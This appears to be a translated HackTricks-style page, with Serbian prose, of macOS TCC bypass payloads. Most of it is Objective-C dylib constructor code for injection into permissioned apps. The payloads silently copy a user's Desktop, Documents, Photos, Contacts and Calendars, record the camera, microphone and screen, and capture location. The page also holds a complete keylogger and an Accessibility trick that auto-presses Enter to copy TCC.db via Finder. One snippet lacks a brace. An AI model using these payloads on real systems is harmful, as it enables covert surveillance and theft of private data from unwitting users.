macOS TCC Payloads

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Desktop

Entitlement: Nema
TCC: kTCCServiceSystemPolicyDesktopFolder

Kopirajte $HOME/Desktop u /tmp/desktop.

objectivec

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Desktop"];
NSString *tmpPhotosPath = @"/tmp/desktop";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Kopirajte $HOME/Desktop u /tmp/desktop.

bash

cp -r "$HOME/Desktop" "/tmp/desktop"

Dokumenti

Ovlašćenje: Nema
TCC: kTCCServiceSystemPolicyDocumentsFolder

Kopirajte $HOME/Documents u /tmp/documents.

objectivec

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents"];
NSString *tmpPhotosPath = @"/tmp/documents";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Kopirajte $HOME/Documents u /tmp/documents.

bash

cp -r "$HOME/Documents" "/tmp/documents"

Preuzimanja

Ovlašćenje: Nema
TCC: kTCCServiceSystemPolicyDownloadsFolder

Kopirajte $HOME/Downloads u /tmp/downloads.

objectivec

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Downloads"];
NSString *tmpPhotosPath = @"/tmp/downloads";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Kopirajte $HOME/Dowloads u /tmp/downloads.

bash

cp -r "$HOME/Downloads" "/tmp/downloads"

Biblioteka fotografija

Ovlašćenje: com.apple.security.personal-information.photos-library
TCC: kTCCServicePhotos

Kopirajte $HOME/Pictures/Photos Library.photoslibrary u /tmp/photos.

objectivec

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Pictures/Photos Library.photoslibrary"];
NSString *tmpPhotosPath = @"/tmp/photos";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Kopirajte $HOME/Pictures/Photos Library.photoslibrary u /tmp/photos.

bash

cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"

Kontakti

Ovlašćenje: com.apple.security.personal-information.addressbook
TCC: kTCCServiceAddressBook

Kopirajte $HOME/Library/Application Support/AddressBook u /tmp/contacts.

objectivec

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/AddressBook"];
NSString *tmpPhotosPath = @"/tmp/contacts";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Kopirajte $HOME/Library/Application Support/AddressBook u /tmp/contacts.

bash

cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"

Kalendar

Ovlašćenje: com.apple.security.personal-information.calendars
TCC: kTCCServiceCalendar

Kopirajte $HOME/Library/Calendars u /tmp/calendars.

objectivec

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Calendars/"];
NSString *tmpPhotosPath = @"/tmp/calendars";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Kopirajte $HOME/Library/Calendars u /tmp/calendars.

bash

cp -r "$HOME/Library/Calendars" "/tmp/calendars"

Kamera

Ovlašćenje: com.apple.security.device.camera
TCC: kTCCServiceCamera

Snimite 3s video i sačuvajte ga u /tmp/recording.mov

objectivec

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from: https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4

@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;
- (void)startRecording;
- (void)stopRecording;
@end
@implementation VideoRecorder
- (instancetype)init {
self = [super init];
if (self) {
[self setupCaptureSession];
}
return self;
}
- (void)setupCaptureSession {
self.captureSession = [[AVCaptureSession alloc] init];
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
NSError *error;
self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];
if (error) {
NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
return;
}
if ([self.captureSession canAddInput:self.videoDeviceInput]) {
[self.captureSession addInput:self.videoDeviceInput];
}
self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
if ([self.captureSession canAddOutput:self.movieFileOutput]) {
[self.captureSession addOutput:self.movieFileOutput];
}
}
- (void)startRecording {
[self.captureSession startRunning];
NSString *outputFilePath = @"/tmp/recording.mov";
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
[self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
NSLog(@"Recording started");
}
- (void)stopRecording {
[self.movieFileOutput stopRecording];
[self.captureSession stopRunning];
NSLog(@"Recording stopped");
}
#pragma mark - AVCaptureFileOutputRecordingDelegate
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray<AVCaptureConnection *> *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
}
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {
freopen("/tmp/logs.txt", "a", stderr);
VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
[videoRecorder startRecording];
[NSThread sleepForTimeInterval:3.0];
[videoRecorder stopRecording];
[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:3.0]];
fclose(stderr); // Close the file stream
}

Proverite da li program ima pristup kameri.

objectivec

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4

@interface CameraAccessChecker : NSObject
+ (BOOL)hasCameraAccess;
@end
@implementation CameraAccessChecker
+ (BOOL)hasCameraAccess {
AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeVideo];
if (status == AVAuthorizationStatusAuthorized) {
NSLog(@"[+] Access to camera granted.");
return YES;
} else {
NSLog(@"[-] Access to camera denied.");
return NO;
}
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
freopen("/tmp/logs.txt", "a", stderr);
[CameraAccessChecker hasCameraAccess];
fclose(stderr); // Close the file stream
}

Napravite fotografiju kamerom

bash

ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg

Mikrofoni

Ovlašćenje: com.apple.security.device.audio-input
TCC: kTCCServiceMicrophone

Snimite 5s zvuka i sačuvajte ga u /tmp/recording.m4a

objectivec

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// Code from https://www.vicarius.io/vsociety/posts/cve-2023-26818-exploit-macos-tcc-bypass-w-telegram-part-1-2
// gcc -dynamiclib -framework Foundation -framework AVFoundation Micexploit.m -o Micexploit.dylib

@interface AudioRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>

@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *audioDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *audioFileOutput;

- (void)startRecording;
- (void)stopRecording;

@end

@implementation AudioRecorder

- (instancetype)init {
self = [super init];
if (self) {
[self setupCaptureSession];
}
return self;
}

- (void)setupCaptureSession {
self.captureSession = [[AVCaptureSession alloc] init];
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;

AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
NSError *error;
self.audioDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:audioDevice error:&error];

if (error) {
NSLog(@"Error setting up audio device input: %@", [error localizedDescription]);
return;
}

if ([self.captureSession canAddInput:self.audioDeviceInput]) {
[self.captureSession addInput:self.audioDeviceInput];
}

self.audioFileOutput = [[AVCaptureMovieFileOutput alloc] init];

if ([self.captureSession canAddOutput:self.audioFileOutput]) {
[self.captureSession addOutput:self.audioFileOutput];
}
}

- (void)startRecording {
[self.captureSession startRunning];
NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.m4a"];
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
[self.audioFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
NSLog(@"Recording started");
}

- (void)stopRecording {
[self.audioFileOutput stopRecording];
[self.captureSession stopRunning];
NSLog(@"Recording stopped");
}

#pragma mark - AVCaptureFileOutputRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray<AVCaptureConnection *> *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
NSLog(@"Saved to %@", outputFileURL.path);
}

@end

__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {

freopen("/tmp/logs.txt", "a", stderr);
AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];

[audioRecorder startRecording];
[NSThread sleepForTimeInterval:5.0];
[audioRecorder stopRecording];

[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
fclose(stderr); // Close the file stream
}

Proverite da li aplikacija ima pristup mikrofonu.

objectivec

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// From https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
// gcc -framework Foundation -framework AVFoundation -dynamiclib MicTest.m -o MicTest.dylib

@interface MicrophoneAccessChecker : NSObject
+ (BOOL)hasMicrophoneAccess;
@end
@implementation MicrophoneAccessChecker
+ (BOOL)hasMicrophoneAccess {
AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeAudio];
if (status == AVAuthorizationStatusAuthorized) {
NSLog(@"[+] Access to microphone granted.");
return YES;
} else {
NSLog(@"[-] Access to microphone denied.");
return NO;
}
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
[MicrophoneAccessChecker hasMicrophoneAccess];
}

Snimi 5s zvučni zapis i sačuvaj ga u /tmp/recording.wav

bash

# Check the microphones
ffmpeg -f avfoundation -list_devices true -i ""
# Use microphone from index 1 from the previous list to record
ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav

Lokacija

tip

Da bi aplikacija dobila lokaciju, Servisi Lokacije (iz Privatnosti i Bezbednosti) moraju biti omogućeni, inače neće moći da joj pristupi.

Ovlašćenje: com.apple.security.personal-information.location
TCC: Dodeljeno u /var/db/locationd/clients.plist

Napiši lokaciju u /tmp/logs.txt

objectivec

#include <syslog.h>
#include <stdio.h>
#import <Foundation/Foundation.h>
#import <CoreLocation/CoreLocation.h>

@interface LocationManagerDelegate : NSObject <CLLocationManagerDelegate>
@end

@implementation LocationManagerDelegate

- (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray<CLLocation *> *)locations {
CLLocation *location = [locations lastObject];
NSLog(@"Current location: %@", location);
exit(0); // Exit the program after receiving the first location update
}

- (void)locationManager:(CLLocationManager *)manager didFailWithError:(NSError *)error {
NSLog(@"Error getting location: %@", error);
exit(1); // Exit the program on error
}

@end

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSLog(@"Getting location");
CLLocationManager *locationManager = [[CLLocationManager alloc] init];
LocationManagerDelegate *delegate = [[LocationManagerDelegate alloc] init];
locationManager.delegate = delegate;

[locationManager requestWhenInUseAuthorization]; // or use requestAlwaysAuthorization
[locationManager startUpdatingLocation];

NSRunLoop *runLoop = [NSRunLoop currentRunLoop];
while (true) {
[runLoop runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}

NSLog(@"Location completed successfully.");
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}

Dobijte pristup lokaciji

???

Snimanje ekrana

Ovlašćenje: Nema
TCC: kTCCServiceScreenCapture

Snimite glavni ekran 5s u /tmp/screen.mov

objectivec

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// clang -framework Foundation -framework AVFoundation -framework CoreVideo -framework CoreMedia -framework CoreGraphics -o ScreenCapture ScreenCapture.m

@interface MyRecordingDelegate : NSObject <AVCaptureFileOutputRecordingDelegate>
@end

@implementation MyRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)output
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording error: %@", error);
} else {
NSLog(@"Recording finished successfully.");
}
exit(0);
}

@end

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
AVCaptureSession *captureSession = [[AVCaptureSession alloc] init];
AVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()];
if ([captureSession canAddInput:screenInput]) {
[captureSession addInput:screenInput];
}

AVCaptureMovieFileOutput *fileOutput = [[AVCaptureMovieFileOutput alloc] init];
if ([captureSession canAddOutput:fileOutput]) {
[captureSession addOutput:fileOutput];
}

[captureSession startRunning];

MyRecordingDelegate *delegate = [[MyRecordingDelegate alloc] init];
[fileOutput startRecordingToOutputFileURL:[NSURL fileURLWithPath:@"/tmp/screen.mov"] recordingDelegate:delegate];

// Run the loop for 5 seconds to capture
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(5 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
[fileOutput stopRecording];
});

CFRunLoopRun();
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}

Zabeležite glavni ekran na 5s

bash

screencapture -V 5 /tmp/screen.mov

Pristupačnost

Ovlašćenje: Nema
TCC: kTCCServiceAccessibility

Koristite TCC privilegiju da prihvatite kontrolu nad Finder-om pritiskom na enter i tako zaobiđete TCC

objectivec

#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
#import <OSAKit/OSAKit.h>

// clang -framework Foundation -framework ApplicationServices -framework OSAKit -o ParallelScript ParallelScript.m
// TODO: Improve to monitor the foreground app and press enter when TCC appears

void SimulateKeyPress(CGKeyCode keyCode) {
CGEventRef keyDownEvent = CGEventCreateKeyboardEvent(NULL, keyCode, true);
CGEventRef keyUpEvent = CGEventCreateKeyboardEvent(NULL, keyCode, false);
CGEventPost(kCGHIDEventTap, keyDownEvent);
CGEventPost(kCGHIDEventTap, keyUpEvent);
if (keyDownEvent) CFRelease(keyDownEvent);
if (keyUpEvent) CFRelease(keyUpEvent);
}

void RunAppleScript() {
NSLog(@"Starting AppleScript");
NSString *scriptSource = @"tell application \"Finder\"\n"
"set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias\n"
"set targetFolder to POSIX file \"/tmp\" as alias\n"
"duplicate file sourceFile to targetFolder with replacing\n"
"end tell\n";

NSDictionary *errorDict = nil;
NSAppleScript *appleScript = [[NSAppleScript alloc] initWithSource:scriptSource];
[appleScript executeAndReturnError:&errorDict];

if (errorDict) {
NSLog(@"AppleScript Error: %@", errorDict);
}
}

int main() {
@autoreleasepool {
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
RunAppleScript();
});

// Simulate pressing the Enter key every 0.1 seconds
NSLog(@"Starting key presses");
for (int i = 0; i < 10; ++i) {
SimulateKeyPress((CGKeyCode)36); // Key code for Enter
usleep(100000); // 0.1 seconds
}
}
return 0;
}

Skladišti pritisnute tastere u /tmp/keystrokes.txt

objectivec

#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
#import <Carbon/Carbon.h>

// clang -framework Foundation -framework ApplicationServices -framework Carbon -o KeyboardMonitor KeyboardMonitor.m

NSString *const kKeystrokesLogPath = @"/tmp/keystrokes.txt";

void AppendStringToFile(NSString *str, NSString *filePath) {
NSFileHandle *fileHandle = [NSFileHandle fileHandleForWritingAtPath:filePath];
if (fileHandle) {
[fileHandle seekToEndOfFile];
[fileHandle writeData:[str dataUsingEncoding:NSUTF8StringEncoding]];
[fileHandle closeFile];
} else {
// If the file does not exist, create it
[str writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];
}
}

CGEventRef KeyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
if (type == kCGEventKeyDown) {
CGKeyCode keyCode = (CGKeyCode)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);

NSString *keyString = nil;
// First, handle special non-printable keys
switch (keyCode) {
case kVK_Return: keyString = @"<Return>"; break;
case kVK_Tab: keyString = @"<Tab>"; break;
case kVK_Space: keyString = @"<Space>"; break;
case kVK_Delete: keyString = @"<Delete>"; break;
case kVK_Escape: keyString = @"<Escape>"; break;
case kVK_Command: keyString = @"<Command>"; break;
case kVK_Shift: keyString = @"<Shift>"; break;
case kVK_CapsLock: keyString = @"<CapsLock>"; break;
case kVK_Option: keyString = @"<Option>"; break;
case kVK_Control: keyString = @"<Control>"; break;
case kVK_RightControl: keyString = @"<Control>"; break;
case kVK_RightShift: keyString = @"<Shift>"; break;
case kVK_RightOption: keyString = @"<Option>"; break;
case kVK_Function: keyString = @"<Function>"; break;
case kVK_F1: keyString = @"<F1>"; break;
case kVK_F2: keyString = @"<F2>"; break;
case kVK_F3: keyString = @"<F3>"; break;
// Add more cases here for other non-printable keys...
default: break; // Not a special non-printable key
}

// If it's not a special key, try to translate it
if (!keyString) {
UniCharCount maxStringLength = 4;
UniCharCount actualStringLength = 0;
UniChar unicodeString[maxStringLength];

TISInputSourceRef currentKeyboard = TISCopyCurrentKeyboardInputSource();
CFDataRef layoutData = TISGetInputSourceProperty(currentKeyboard, kTISPropertyUnicodeKeyLayoutData);
const UCKeyboardLayout *keyboardLayout = (const UCKeyboardLayout *)CFDataGetBytePtr(layoutData);

UInt32 deadKeyState = 0;
OSStatus status = UCKeyTranslate(keyboardLayout,
keyCode,
kUCKeyActionDown,
0,
LMGetKbdType(),
kUCKeyTranslateNoDeadKeysBit,
&deadKeyState,
maxStringLength,
&actualStringLength,
unicodeString);
CFRelease(currentKeyboard);

if (status == noErr && actualStringLength > 0) {
keyString = [NSString stringWithCharacters:unicodeString length:actualStringLength];
} else {
keyString = [NSString stringWithFormat:@"<KeyCode: %d>", keyCode];
}
}

NSString *logString = [NSString stringWithFormat:@"%@\n", keyString];
AppendStringToFile(logString, kKeystrokesLogPath);
}
return event;
}

int main() {
@autoreleasepool {
CGEventMask eventMask = CGEventMaskBit(kCGEventKeyDown);
CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, KeyboardEventCallback, NULL);

if (!eventTap) {
NSLog(@"Failed to create event tap");
exit(1);
}

CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
CGEventTapEnable(eventTap, true);
CFRunLoopRun();
}
return 0;
}

[!CAUTION] > Pristup je veoma moćna dozvola, mogli biste je zloupotrebiti na druge načine, na primer, mogli biste izvršiti napad pomoću pritisaka tastera samo iz nje bez potrebe da pozivate System Events.

tip

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